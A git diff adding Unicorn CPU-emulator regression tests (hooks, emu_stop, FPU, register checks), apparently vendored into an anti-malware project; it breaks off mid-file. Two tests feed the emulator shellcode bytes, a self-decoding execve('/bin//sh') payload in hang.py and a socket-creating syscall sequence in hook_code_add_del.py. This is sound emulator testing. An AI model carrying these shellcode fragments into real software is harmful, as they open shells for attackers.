hook_invalid_mem(uc_engine *uc, uc_mem_type type, uint64_t address, int size, int64_t value, void *user_data) +{ + uc_err err; + uint64_t address_align = TARGET_PAGE_ALIGN(address); + + if(address == 0) + { + printf("Address is 0, proof 0x%" PRIx64 "\n", address); + return false; + } + + switch(type) + { + default: + return false; + break; + case UC_MEM_WRITE_UNMAPPED: + printf("Mapping write address 0x%" PRIx64 " to aligned 0x%" PRIx64 "\n", address, address_align); + + err = uc_mem_map(uc, address_align, PAGE_8K, UC_PROT_ALL); + if(err != UC_ERR_OK) + { + printf("Failed to map memory on UC_MEM_WRITE_UNMAPPED %s\n", uc_strerror(err)); + return false; + } + + return true; + break; + case UC_MEM_READ_UNMAPPED: + + printf("Mapping read address 0x%" PRIx64 " to aligned 0x%" PRIx64 "\n", address, address_align); + + + err = uc_mem_map(uc, address_align, PAGE_8K, UC_PROT_ALL); + if(err != UC_ERR_OK) + { + printf("Failed to map memory on UC_MEM_READ_UNMAPPED %s\n", uc_strerror(err)); + return false; + } + + return true; + break; + } +} + +static void VM_exec() +{ + uc_engine *uc; + uc_err err; + uc_hook trace1, trace2; + unsigned int r_eax, r_ebx, r_ecx, r_edx, r_ebp, r_esp, r_esi, r_edi, r_eip, eflags; + unsigned int tr_eax, tr_ebx, tr_ecx, tr_edx, tr_ebp, tr_esp, tr_esi, tr_edi, tr_eip, t_eflags; + + + r_eax = tr_eax = 0x1DB10106; + r_ebx = tr_ebx = 0x7EFDE000; + r_ecx = tr_ecx = 0x7EFDE000; + r_edx = tr_edx = 0x00001DB1; + r_ebp = tr_ebp = 0x0018FF88; + r_esp = tr_esp = 0x0018FF14; + r_esi = tr_esi = 0x0; + r_edi = tr_edi = 0x0; + r_eip = tr_eip = 0x004939F3; + t_eflags = eflags = 0x00000206; + + // Initialize emulator in X86-32bit mode + err = uc_open(UC_ARCH_X86, UC_MODE_32, &uc); + if(err) + { + printf("Failed on uc_open() with error returned: %s", uc_strerror(err)); + return; + } + + err = uc_mem_map(uc, ADDRESS, (4 * 1024 * 1024), UC_PROT_ALL); + if(err != UC_ERR_OK) + { + printf("Failed to map memory %s", uc_strerror(err)); + return; + } + + // write machine code to be emulated to memory + err = uc_mem_write(uc, ADDRESS, X86_CODE32, sizeof(X86_CODE32) - 1); + if(err != UC_ERR_OK) + { + printf("Failed to write emulation code to memory, quit!: %s(len %zu)", uc_strerror(err), sizeof(X86_CODE32) - 1); + return; + } + + // initialize machine registers + uc_reg_write(uc, UC_X86_REG_EAX, &r_eax); + uc_reg_write(uc, UC_X86_REG_EBX, &r_ebx); + uc_reg_write(uc, UC_X86_REG_ECX, &r_ecx); + uc_reg_write(uc, UC_X86_REG_EDX, &r_edx); + uc_reg_write(uc, UC_X86_REG_EBP, &r_ebp); + uc_reg_write(uc, UC_X86_REG_ESP, &r_esp); + uc_reg_write(uc, UC_X86_REG_ESI, &r_esi); + uc_reg_write(uc, UC_X86_REG_EDI, &r_edi); + uc_reg_write(uc, UC_X86_REG_EFLAGS, &eflags); + + uc_hook_add(uc, &trace1, UC_HOOK_MEM_READ_UNMAPPED | UC_HOOK_MEM_WRITE_UNMAPPED, (void *)hook_invalid_mem, NULL, 1, 0); + + // tracing all instruction by having @begin > @end + uc_hook_add(uc, &trace2, UC_HOOK_CODE, (void *)hook_ins, NULL, 1, 0); + + // emulate machine code in infinite time + err = uc_emu_start(uc, ADDRESS, ADDRESS + (sizeof(X86_CODE32) - 1), 0, 0); + if(err) + { + printf("Failed on uc_emu_start() with error returned %u: %s", err, uc_strerror(err)); + instructions = 0; + + uc_close(uc); + return; + } + + uc_reg_read(uc, UC_X86_REG_EAX, &r_eax); + uc_reg_read(uc, UC_X86_REG_EBX, &r_ebx); + uc_reg_read(uc, UC_X86_REG_ECX, &r_ecx); + uc_reg_read(uc, UC_X86_REG_EDX, &r_edx); + uc_reg_read(uc, UC_X86_REG_EBP, &r_ebp); + uc_reg_read(uc, UC_X86_REG_ESP, &r_esp); + uc_reg_read(uc, UC_X86_REG_ESI, &r_esi); + uc_reg_read(uc, UC_X86_REG_EDI, &r_edi); + uc_reg_read(uc, UC_X86_REG_EIP, &r_eip); + uc_reg_read(uc, UC_X86_REG_EFLAGS, &eflags); + + uc_close(uc); + + printf(">>> Emulation done. Below is the CPU context\n"); + printf(">>> EAX = 0x%08X %s\n", r_eax, (r_eax == tr_eax ? "" : "(m)")); + printf(">>> EBX = 0x%08X %s\n", r_ebx, (r_ebx == tr_ebx ? "" : "(m)")); + printf(">>> ECX = 0x%08X %s\n", r_ecx, (r_ecx == tr_ecx ? "" : "(m)")); + printf(">>> EDX = 0x%08X %s\n", r_edx, (r_edx == tr_edx ? "" : "(m)")); + printf(">>> EBP = 0x%08X %s\n", r_ebp, (r_ebp == tr_ebp ? "" : "(m)")); + printf(">>> ESP = 0x%08X %s\n", r_esp, (r_esp == tr_esp ? "" : "(m)")); + printf(">>> ESI = 0x%08X %s\n", r_esi, (r_esi == tr_esi ? "" : "(m)")); + printf(">>> EDI = 0x%08X %s\n", r_edi, (r_edi == tr_edi ? "" : "(m)")); + printf(">>> EIP = 0x%08X %s\n", (r_eip - ADDRESS) + tr_eip, (r_eip == tr_eip ? "" : "(m)\n")); + printf(">>> EFLAGS = 0x%08X %s\n", eflags, (eflags == t_eflags ? "" : "(m)")); + + printf(">>> Instructions executed %" PRIu64 "\n", instructions); + + assert(r_eax == 0x1DB10106); + assert(r_ebx == 0x7EFDE000); + assert(r_ecx == 0x00000006); + assert(r_edx == 0x00000001); + assert(r_ebp == 0x0018FF88); + assert(r_esp == 0x0018FF14); + assert(r_esi == 0x00000000); + assert(r_edi == 0x00000000); + assert(eflags == 0x00000206); //we shouldn't fail this assert, eflags should be 0x00000206 because the last AND instruction produces a non-zero result. + + instructions = 0; +} + + +int main(int argc, char *argv[]) +{ + VM_exec(); + return 0; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/emu_clear_errors.c b/ai_anti_malware/unicorn/unicorn-master/tests/regress/emu_clear_errors.c new file mode 100644 index 0000000..7f03ec3 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/emu_clear_errors.c @@ -0,0 +1,151 @@ +#include +#include +#include + +#include + +static int count = 1; + +bool cb_hookunmapped(uc_engine *uc, uc_mem_type type, uint64_t address, uint32_t size, int64_t value, void *user_data) { + uint32_t pc = 0; + uc_reg_read(uc, UC_X86_REG_EIP, &pc); + fprintf(stderr, "mem unmapped: 0x%x type: %x address: 0x%"PRIx64" length: %x value: 0x%"PRIx64"\n", + pc, type, address, size, value); + + uc_err err = UC_ERR_OK; + err = uc_emu_stop(uc); + if (err != UC_ERR_OK) { + fprintf(stderr, "stop not ok"); + exit(0); + } + return true; +} + +// move esi, dword ptr [ecx + eax + 0x28] +// add esi, eax +// lea eax, dword ptr [ebp - 4] +// push eax +// push 0x40 +// push 0x10 +// push esi +// call some address +#define CODE "\x8B\x74\x01\x28" \ + "\x0C\xF0" \ + "\x8D\x45\xFC" \ + "\x50" \ + "\x6A\x40" \ + "\x6A\x10" \ + "\x56" \ + "\xFF\x15\x20\x20\x00\x10" + +int main() { + uc_engine *uc; + + uc_err err = uc_open(UC_ARCH_X86, UC_MODE_32, &uc); + if (err != UC_ERR_OK) { + fprintf(stderr, "not ok %d - %s\n", count++, uc_strerror(err)); + exit(0); + } + fprintf(stderr, "ok %d - uc_open\n", count++); + + err = uc_mem_map(uc, 0x1000, 0x1000, UC_PROT_ALL); + if (err != UC_ERR_OK) { + fprintf(stderr, "not ok %d - %s\n", count++, uc_strerror(err)); + exit(0); + } + fprintf(stderr, "ok %d - uc_mem_map: code\n", count++); + + uint8_t code[0x1000]; + memset(code, 0x0, sizeof(code)); + memcpy(code, CODE, sizeof(CODE)); + + err = uc_mem_write(uc, 0x1000, code, sizeof(code)); + if (err != UC_ERR_OK) { + fprintf(stderr, "not ok %d - %s\n", count++, uc_strerror(err)); + exit(0); + } + fprintf(stderr, "ok %d - uc_mem_write: code\n", count++); + + uint32_t eip = 0x1000; + err = uc_reg_write(uc, UC_X86_REG_EIP, &eip); + if (err != UC_ERR_OK) { + fprintf(stderr, "not ok %d - %s\n", count++, uc_strerror(err)); + exit(0); + } + fprintf(stderr, "ok %d - uc_reg_write: eip\n", count++); + + err = uc_mem_map(uc, 0x4000, 0x4000, UC_PROT_ALL); + if (err != UC_ERR_OK) { + fprintf(stderr, "not ok %d - %s\n", count++, uc_strerror(err)); + exit(0); + } + fprintf(stderr, "ok %d - uc_mem_map: stack\n", count++); + + uint8_t stack[0x4000]; + memset(stack, 0x0, sizeof(stack)); + + err = uc_mem_write(uc, 0x4000, code, sizeof(code)); + if (err != UC_ERR_OK) { + fprintf(stderr, "not ok %d - %s\n", count++, uc_strerror(err)); + exit(0); + } + fprintf(stderr, "ok %d - uc_mem_write: stack\n", count++); + + uint32_t esp = 0x6000; + err = uc_reg_write(uc, UC_X86_REG_ESP, &esp); + if (err != UC_ERR_OK) { + fprintf(stderr, "not ok %d - %s\n", count++, uc_strerror(err)); + exit(0); + } + fprintf(stderr, "ok %d - uc_reg_write: esp\n", count++); + + uint32_t ebp = 0x6000; + err = uc_reg_write(uc, UC_X86_REG_EBP, &ebp); + if (err != UC_ERR_OK) { + fprintf(stderr, "not ok %d - %s\n", count++, uc_strerror(err)); + exit(0); + } + fprintf(stderr, "ok %d - uc_reg_write: ebp\n", count++); + + uc_hook h1; + + err = uc_hook_add(uc, &h1, UC_HOOK_MEM_UNMAPPED, cb_hookunmapped, NULL, 1, 0); + if (err != UC_ERR_OK) { + fprintf(stderr, "not ok %d - %s\n", count++, uc_strerror(err)); + exit(0); + } + fprintf(stderr, "ok %d - uc_hook_add\n", count++); + + // this should execute only a single instruction at 0x1000, because + // that instruction accesses invalid memory. + err = uc_emu_start(uc, 0x1000, 0x100F, 0, 0); + if (err != UC_ERR_OK) { + fprintf(stderr, "not ok %d - %s\n", count++, uc_strerror(err)); + exit(0); + } + fprintf(stderr, "ok %d - uc_emu_start\n", count++); + + // yes, not necessary, but to demonstrate the UC API is working as expected + eip = 0x1004; + err = uc_reg_write(uc, UC_X86_REG_EIP, &eip); + if (err != UC_ERR_OK) { + fprintf(stderr, "not ok %d - %s\n", count++, uc_strerror(err)); + exit(0); + } + fprintf(stderr, "ok %d - uc_reg_write: eip\n", count++); + + // this should execute the remaining instructions up to (but not includign) 0x100F. + // currently, it returns an error about an unmapped read. + // seems that this error should have been returned in the previous call + // to emu_start. + err = uc_emu_start(uc, 0x1004, 0x100F, 0, 0); + if (err != UC_ERR_OK) { + fprintf(stderr, "not ok %d - %s\n", count++, uc_strerror(err)); + exit(0); + } + fprintf(stderr, "ok %d - uc_emu_start\n", count++); + + fprintf(stderr, "ok %d - Done", count++); + + return 0; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/emu_clear_errors.py b/ai_anti_malware/unicorn/unicorn-master/tests/regress/emu_clear_errors.py new file mode 100644 index 0000000..4fb6b1d --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/emu_clear_errors.py @@ -0,0 +1,80 @@ +#!/usr/bin/python + +from __future__ import print_function +import binascii +import regress + +from unicorn import * +from unicorn.x86_const import * + + +CODE = binascii.unhexlify(b"".join([ + b"8B 74 01 28", # mov esi, dword ptr [ecx + eax + 0x28] mapped: 0x1000 + b"03 F0", # add esi, eax 0x1004 + b"8D 45 FC", # lea eax, dword ptr [ebp - 4] 0x1006 + b"50", # push eax 0x1009 + b"6A 40", # push 0x40 0x100A + b"6A 10", # push 0x10 0x100C + b"56", # push esi 0x100E + b"FF 15 20 20 00 10" # call some address 0x100F + ]).replace(" ", "")) + + +def showpc(mu): + pc = mu.reg_read(UC_X86_REG_EIP) + print("pc: 0x%x" % (pc)) + + +class HookCodeStopEmuTest(regress.RegressTest): + def test_hook_code_stop_emu(self): + mu = Uc(UC_ARCH_X86, UC_MODE_32) + + # base of CODE + mu.mem_map(0x1000, 0x1000) + mu.mem_write(0x1000, CODE) + mu.reg_write(UC_X86_REG_EIP, 0x1000) + + # base of STACK + mu.mem_map(0x4000, 0x4000) + mu.mem_write(0x4000, "\x00" * 0x4000) + mu.reg_write(UC_X86_REG_ESP, 0x6000) + mu.reg_write(UC_X86_REG_EBP, 0x6000) + + mu.reg_write(UC_X86_REG_ECX, 0x0) + mu.reg_write(UC_X86_REG_EAX, 0x0) + + def _hook(_, access, address, length, value, context): + pc = mu.reg_read(UC_X86_REG_EIP) + print("mem unmapped: pc: %x access: %x address: %x length: %x value: %x" % ( + pc, access, address, length, value)) + mu.emu_stop() + return True + + mu.hook_add(UC_HOOK_MEM_UNMAPPED, _hook) + + # we only expect the following instruction to execute, + # and it will fail, because it accesses unmapped memory. + # mov esi, dword ptr [ecx + eax + 0x28] mapped: 0x1000 + mu.emu_start(0x1000, 0x100F) + showpc(mu) + + # now, we want to reuse the emulator, and keep executing + # from the next instruction + mu.reg_write(UC_X86_REG_EIP, 0x1004) + self.assertEqual(0x1004, mu.reg_read(UC_X86_REG_EIP)) + + # we expect the following instructions to execute + # add esi, eax 0x1004 + # lea eax, dword ptr [ebp - 4] 0x1006 + # push eax 0x1009 + # push 0x40 0x100A + # push 0x10 0x100C + # push esi 0x100E + # + # currently, a UC_ERR_READ_UNMAPPED exception is raised here + mu.emu_start(0x1004, 0x100F) + showpc(mu) + + +if __name__ == '__main__': + regress.main() diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/emu_stop_in_hook_overrun.c b/ai_anti_malware/unicorn/unicorn-master/tests/regress/emu_stop_in_hook_overrun.c new file mode 100644 index 0000000..81ea93f --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/emu_stop_in_hook_overrun.c @@ -0,0 +1,130 @@ +/* +Test for uc_emu_stop() in code hook not always stopping the emu at the current instruction. +(Sometimes it will execute and stop at the next instruction). +*/ + +// windows specific +#ifdef _MSC_VER +#include +#include +#include +#define PRIx64 "llX" +#ifdef DYNLOAD +#include +#else // DYNLOAD +#include +#ifdef _WIN64 +#pragma comment(lib, "unicorn_staload64.lib") +#else // _WIN64 +#pragma comment(lib, "unicorn_staload.lib") +#endif // _WIN64 +#endif // DYNLOAD + +// posix specific +#else // _MSC_VER +#include +#include "pthread.h" +#endif // _MSC_VER + +// common includes +#include + + +// Test MIPS little endian code. +// This should loop forever. +const uint64_t addr = 0x100000; +const unsigned char test_code[] = { + 0x00,0x00,0x00,0x00, // 100000: nop + 0x00,0x00,0x00,0x00, // 100004: nop + 0x00,0x00,0x00,0x00, // 100008: nop + 0x00,0x00,0x00,0x00, // 10000C: nop +}; +bool test_passed_ok = false; + + +// This hook is used to show that code is executing in the emulator. +static void mips_codehook(uc_engine *uc, uint64_t address, uint32_t size, void *user_data) +{ + printf("Executing: %"PRIx64"\n", address); + if( address == 0x100008 ) + { + printf("Stopping at: %"PRIx64"\n", address); + uc_emu_stop(uc); + } +} + + +int main(int argc, char **argv, char **envp) +{ + uc_engine *uc; + uc_err err; + uc_hook hhc; + uint32_t val; + + // dynamically load shared library +#ifdef DYNLOAD + uc_dyn_load(NULL, 0); +#endif + + // Initialize emulator in MIPS 32bit little endian mode + printf("uc_open()\n"); + err = uc_open(UC_ARCH_MIPS, UC_MODE_MIPS32, &uc); + if (err) + { + printf("Failed on uc_open() with error returned: %u\n", err); + return err; + } + + // map in a page of mem + printf("uc_mem_map()\n"); + err = uc_mem_map(uc, addr, 0x1000, UC_PROT_ALL); + if (err) + { + printf("Failed on uc_mem_map() with error returned: %u\n", err); + return err; + } + + // write machine code to be emulated to memory + printf("uc_mem_write()\n"); + err = uc_mem_write(uc, addr, test_code, sizeof(test_code)); + if( err ) + { + printf("Failed on uc_mem_write() with error returned: %u\n", err); + return err; + } + + // hook all instructions by having @begin > @end + printf("uc_hook_add()\n"); + uc_hook_add(uc, &hhc, UC_HOOK_CODE, mips_codehook, NULL, 1, 0); + if( err ) + { + printf("Failed on uc_hook_add(code) with error returned: %u\n", err); + return err; + } + + // start executing code + printf("uc_emu_start()\n"); + uc_emu_start(uc, addr, addr+sizeof(test_code), 0, 0); + + + // done executing, print some reg values as a test + uc_reg_read(uc, UC_MIPS_REG_PC, &val); printf("pc is %X\n", val); + test_passed_ok = val == 0x100008; + + // free resources + printf("uc_close()\n"); + uc_close(uc); + + if( test_passed_ok ) + printf("\n\nTEST PASSED!\n\n"); + else + printf("\n\nTEST FAILED!\n\n"); + + // dynamically free shared library +#ifdef DYNLOAD + uc_dyn_free(); +#endif + + return 0; +} + diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/emu_stop_segfault.py b/ai_anti_malware/unicorn/unicorn-master/tests/regress/emu_stop_segfault.py new file mode 100644 index 0000000..8c22e9d --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/emu_stop_segfault.py @@ -0,0 +1,20 @@ +#!/usr/bin/python + +"""See https://github.com/unicorn-engine/unicorn/issues/65""" + +import unicorn +import regress + +class EmuStopSegFault(regress.RegressTest): + + def runTest(self): + ADDR = 0x10101000 + mu = unicorn.Uc(unicorn.UC_ARCH_X86, unicorn.UC_MODE_32) + mu.mem_map(ADDR, 1024 * 4) + mu.mem_write(ADDR, b'\x41') + mu.emu_start(ADDR, ADDR + 1, count=1) + # The following should not trigger a null pointer dereference + self.assertEqual(None, mu.emu_stop()) + +if __name__ == '__main__': + regress.main() diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/ensure_typedef_consts_generated.py b/ai_anti_malware/unicorn/unicorn-master/tests/regress/ensure_typedef_consts_generated.py new file mode 100644 index 0000000..04948a5 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/ensure_typedef_consts_generated.py @@ -0,0 +1,15 @@ +#!/usr/bin/python + +"""See https://github.com/unicorn-engine/unicorn/issues/161 + +Ensure that constants which are specified via a typedef, rather than an enum, +are included in the bindings by the script for autogenerating mappings for +constants. +""" + +import unicorn + +try: + unicorn.UC_HOOK_MEM_UNMAPPED +except AttributeError: + assert(False and "Definition for UC_HOOK_MEM_UNMAPPED not generated") diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/fpu_ip.py b/ai_anti_malware/unicorn/unicorn-master/tests/regress/fpu_ip.py new file mode 100644 index 0000000..3db6a8b --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/fpu_ip.py @@ -0,0 +1,69 @@ +#!/usr/bin/python +from unicorn import * +from unicorn.x86_const import * +from capstone import * +import regress + +ESP = 0x2000 +PAGE_SIZE = 2 * 1024 * 1024 + +# mov [esp], DWORD 0x37f +# fldcw [esp] +# fnop +# fnstenv [esp + 8] +# pop ecx +CODE = b'\xc7\x04\x24\x7f\x03\x00\x00\xd9\x2c\x24\xd9\xd0\xd9\x74\x24\x08\x59' + +class SimpleEngine: + def __init__(self): + self.capmd = Cs(CS_ARCH_X86, CS_MODE_32) + + def disas_single(self, data): + for i in self.capmd.disasm(data, 16): + print("\t%s\t%s" % (i.mnemonic, i.op_str)) + break + +disasm = SimpleEngine() + +def hook_code(uc, addr, size, user_data): + mem = uc.mem_read(addr, size) + print(" 0x%X:" % (addr)), + disasm.disas_single(str(mem)) + +class FpuIP(regress.RegressTest): + + def mem_reader(self, mu, addr, size, expected): + tmp = mu.mem_read(addr, size) + for out, exp in zip(tmp, expected): + self.assertEqual(exp, out) + + def test_32(self): + mu = Uc(UC_ARCH_X86, UC_MODE_32) + + mu.mem_map(0x0, PAGE_SIZE) + mu.mem_write(0x4000, CODE) + mu.reg_write(UC_X86_REG_ESP, ESP) + mu.hook_add(UC_HOOK_CODE, hook_code) + + mu.emu_start(0x4000, 0, 0, 5) + esp = mu.reg_read(UC_X86_REG_ESP) + self.assertEqual(0x2004, esp) + expected = [0x0, 0x0, 0xa, 0x40] + self.mem_reader(mu, esp + 14, 4, expected) + + def test_64(self): + mu = Uc(UC_ARCH_X86, UC_MODE_64) + + mu.mem_map(0x0, PAGE_SIZE) + mu.mem_write(0x4000, CODE) + mu.reg_write(UC_X86_REG_ESP, ESP) + mu.hook_add(UC_HOOK_CODE, hook_code) + + mu.emu_start(0x4000, 0, 0, 5) + rsp = mu.reg_read(UC_X86_REG_RSP) + self.assertEqual(0x2012, rsp + 10) + expected = [0x0, 0x0, 0xa, 0x40, 0x0, 0x0, 0x0, 0x0] + self.mem_reader(mu, rsp + 10, 4, expected) + +if __name__ == '__main__': + regress.main() diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/fpu_mem_write.py b/ai_anti_malware/unicorn/unicorn-master/tests/regress/fpu_mem_write.py new file mode 100644 index 0000000..4017dec --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/fpu_mem_write.py @@ -0,0 +1,38 @@ +#!/usr/bin/python +from unicorn import * +from unicorn.x86_const import * + +import regress + +ESP = 0x2000 +PAGE_SIZE = 1 * 1024 * 1024 + +# wait +# fnstcw word ptr [esp] +# pop ecx +CODE = b'\x9B\xD9\x3C\x24\x59' + +def hook_mem_write(uc, access, address, size, value, user_data): + print("mem WRITE: 0x%x, data size = %u, data value = 0x%x" % (address, size, value)) + return True + +class FpuWrite(regress.RegressTest): + + def mem_reader(self, mu, addr, size, expected): + tmp = mu.mem_read(addr, size) + for i, e in zip(tmp, expected): + self.assertEquals(e, i) + + def runTest(self): + mu = Uc(UC_ARCH_X86, UC_MODE_32) + mu.mem_map(0, PAGE_SIZE) + mu.mem_write(0, CODE) + mu.reg_write(UC_X86_REG_ESP, ESP) + + mu.hook_add(UC_HOOK_MEM_WRITE, hook_mem_write) + mu.emu_start(0x0, 5, 0, 2) + esp = mu.reg_read(UC_X86_REG_ESP) + self.mem_reader(mu, esp, 10, [0] * 10) + +if __name__ == '__main__': + regress.main() diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/hang.py b/ai_anti_malware/unicorn/unicorn-master/tests/regress/hang.py new file mode 100644 index 0000000..9c8a377 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/hang.py @@ -0,0 +1,57 @@ +#!/usr/bin/python + +from __future__ import print_function +from unicorn import * +from unicorn.x86_const import * + +import regress + +# callback for tracing instructions +def hook_code(uc, address, size, user_data): + tmp = uc.mem_read(address, size) + print("[0x%x] =" %(address), end="") + for i in tmp: + print(" %02x" %i, end="") + print("") + +# callback for tracing Linux interrupt +def hook_intr(uc, intno, user_data): + # only handle Linux syscall + rip = uc.reg_read(UC_X86_REG_RIP) + if intno != 0x80: + print("=== 0x%x: got interrupt %x, quit" %(rip, intno)); + uc.emu_stop() + return + + eax = uc.reg_read(UC_X86_REG_EAX) + print(">>> 0x%x: interrupt 0x%x, EAX = 0x%x" %(rip, intno, eax)) + +class Hang(regress.RegressTest): + + def runTest(self): + binary1 = b'\xeb\x1c\x5a\x89\xd6\x8b\x02\x66\x3d\xca\x7d\x75\x06\x66\x05\x03\x03\x89\x02\xfe\xc2\x3d\x41\x41\x41\x41\x75\xe9\xff\xe6\xe8\xdf\xff\xff\xff\x31\xd2\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xca\x7d\x41\x41\x41\x41\x41\x41\x41\x41' + + mu = Uc(UC_ARCH_X86, UC_MODE_64) + + mu.mem_map(0, 2 * 1024 * 1024) + + # tracing all instructions with customized callback + mu.hook_add(UC_HOOK_CODE, hook_code) + + # handle interrupt ourself + mu.hook_add(UC_HOOK_INTR, hook_intr) + + # setup stack + mu.reg_write(UC_X86_REG_RSP, 1024 * 1024) + + # fill in memory with 0xCC (software breakpoint int 3) + for i in xrange(1 * 1024): + mu.mem_write(0 + i, b'\xcc') + + # write machine code to be emulated to memory + mu.mem_write(0, binary1) + + self.assertEqual(mu.emu_start(0, len(binary1)), None) + +if __name__ == '__main__': + regress.main() diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/hook_add_crash.py b/ai_anti_malware/unicorn/unicorn-master/tests/regress/hook_add_crash.py new file mode 100644 index 0000000..342e7fa --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/hook_add_crash.py @@ -0,0 +1,16 @@ +#!/usr/bin/env python + +"""https://github.com/unicorn-engine/unicorn/issues/165""" + +import unicorn + +def hook_mem_read_unmapped(mu, access, address, size, value, user_data): + pass + +mu = unicorn.Uc(unicorn.UC_ARCH_X86, unicorn.UC_MODE_32) + +try: + for x in range(0, 1000): + mu.hook_add(unicorn.UC_HOOK_MEM_READ_UNMAPPED, hook_mem_read_unmapped, None) +except unicorn.UcError as e: + print("ERROR: %s" % e) diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/hook_code_add_del.py b/ai_anti_malware/unicorn/unicorn-master/tests/regress/hook_code_add_del.py new file mode 100644 index 0000000..ef071ca --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/hook_code_add_del.py @@ -0,0 +1,48 @@ +#!/usr/bin/python + +'''https://github.com/unicorn-engine/unicorn/issues/334''' + +from __future__ import print_function +import regress + +from unicorn import * +from unicorn.x86_const import * + +ADDRESS = 0x8048000 +STACK_ADDRESS = 0xffff000 +STACK_SIZE = 4096 +''' +31 DB xor ebx, ebx +53 push ebx +43 inc ebx +53 push ebx +6A 02 push 2 +6A 66 push 66h +58 pop eax +89 E1 mov ecx, esp +CD 80 int 80h +''' +CODE = "\x31\xDB\x53\x43\x53\x6A\x02\x6A\x66\x58\x89\xE1\xCD\x80" +EP = ADDRESS + 0x54 + +def hook_code(mu, address, size, user_data): + print(">>> Tracing instruction at 0x%x, instruction size = %u" %(address, size)) + +class HookCodeAddDelTest(regress.RegressTest): + def runTest(self): + emu = Uc(UC_ARCH_X86, UC_MODE_32) + emu.mem_map(ADDRESS, 0x1000) + emu.mem_write(EP, CODE) + + emu.mem_map(STACK_ADDRESS, STACK_SIZE) + emu.reg_write(UC_X86_REG_ESP, STACK_ADDRESS + STACK_SIZE) + + # UC_HOOK_CODE hook will work even after deletion + i = emu.hook_add(UC_HOOK_CODE, hook_code, None) + emu.hook_del(i) + + emu.emu_start(EP, EP + len(CODE), count = 3) + print("EIP: 0x%x" % emu.reg_read(UC_X86_REG_EIP)) + +if __name__ == '__main__': + regress.main() diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/hook_code_stop_emu.py b/ai_anti_malware/unicorn/unicorn-master/tests/regress/hook_code_stop_emu.py new file mode 100644 index 0000000..33f2f8f --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/hook_code_stop_emu.py @@ -0,0 +1,91 @@ +#!/usr/bin/python + +from __future__ import print_function +import binascii +import regress + +from unicorn import * +from unicorn.x86_const import * + + +CODE = binascii.unhexlify(b"".join([ + b"48c7c003000000", # mov rax, 3 mapped: 0x1000 + b"0f05", # syscall mapped: 0x1007 + b"48c7c700400000", # mov rdi, 0x4000 mapped: 0x1009 + b"488907", # mov [rdi], rdx mapped: 0x1010 + b"488b07", # mov rdx, [rdi] mapped: 0x1013 + b"4883c201", # add rdx, 1 mapped: 0x1016 + ])) + + +class SingleStepper: + def __init__(self, emu, test): + self._emu = emu + self._hit_count = 0 + self._test = test + + def _stop_hook(self, uc, address, *args, **kwargs): + if self._hit_count == 0: + self._hit_count += 1 + else: + self._test.assertEqual(1, self._hit_count, "HOOK_CODE invoked too many times") + uc.emu_stop() + + def step(self): + self._hit_count = 0 + h = self._emu.hook_add(UC_HOOK_CODE, self._stop_hook) + try: + pc = self._emu.reg_read(UC_X86_REG_RIP) + self._emu.emu_start(pc, pc+0x20) + finally: + self._emu.hook_del(h) + + +def showpc(mu): + pc = mu.reg_read(UC_X86_REG_RIP) + print("pc: 0x%x" % (pc)) + + +class HookCodeStopEmuTest(regress.RegressTest): + def test_hook_code_stop_emu(self): + try: + mu = Uc(UC_ARCH_X86, UC_MODE_64) + + # base of CODE + mu.mem_map(0x1000, 0x1000) + mu.mem_write(0x1000, CODE) + + # scratch, used by CODE + mu.mem_map(0x4000, 0x1000) + + mu.reg_write(UC_X86_REG_RDX, 0x1) + mu.reg_write(UC_X86_REG_RIP, 0x1000) + + # 0x1000: 48c7c003000000 mov rax, 3 + # 0x1007: 0f05 syscall + # 0x1009: 48c7c700400000 mov rdi, 0x4000 + # 0x1010: 488907 mov [rdi], rdx + # 0x1013: 488b07 mov rdx, [rdi] + # 0x1016: 4883c201 add rdx, 1 + + stepper = SingleStepper(mu, self) + showpc(mu) + self.assertEqual(0x1000, mu.reg_read(UC_X86_REG_RIP), "Unexpected PC") + + + stepper.step() + showpc(mu) + self.assertEqual(0x1007, mu.reg_read(UC_X86_REG_RIP), + "Emulator failed to stop after one instruction") + + stepper.step() + showpc(mu) + self.assertEqual(0x1009, mu.reg_read(UC_X86_REG_RIP), + "Emulator failed to stop after one instruction") + + except UcError as e: + self.assertFalse(0, "ERROR: %s" % e) + + +if __name__ == '__main__': + regress.main() diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/hook_extrainvoke.c b/ai_anti_malware/unicorn/unicorn-master/tests/regress/hook_extrainvoke.c new file mode 100644 index 0000000..8fd486f --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/hook_extrainvoke.c @@ -0,0 +1,93 @@ +#include +#include + +#include + +#define X86_CODE32 "\xf3\xab" // rep stosd dword ptr es:[edi], eax -> Fill (E)CX doublewords at ES:[(E)DI] with EAX +#define ADDRESS 0x1000000 +#define ECX_OPS 2 +static long unsigned int hook_called = 0; + +void hook_ins(uc_engine *uc, uint64_t address, uint32_t size, void *user_data) +{ + hook_called++; + printf("hook called\n"); +} + +static void VM_exec() +{ + uc_engine *uc; + uc_err err; + uc_hook trace; + unsigned int r_eax, 